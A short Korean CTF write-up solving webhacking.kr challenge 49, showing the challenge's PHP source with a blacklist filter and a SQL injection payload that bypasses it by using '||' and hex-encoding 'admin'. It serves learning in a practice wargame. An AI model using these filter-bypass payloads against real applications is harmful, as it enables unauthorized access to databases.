[webhacking.kr] 49번 문제 풀이[SQL Injection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 49번 문제에 대한 풀이입니다.

문제

image

<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>

문제 풀이

injection을 해야 하는 sql문은 다음과 같습니다.

select id from chall49 where lv={}

우선 초기 인젝션 페이로드를 다음과 같이 구성합니다.

100||id='admin'

위의 페이로드중 필터링에 걸리는 부분은 “'”밖에 없습니다. ‘admin’ 대신에 0x61646d696e로 바꿔서 페이로드를 구성합니다.

100||id=0x61646d696e

image

댓글남기기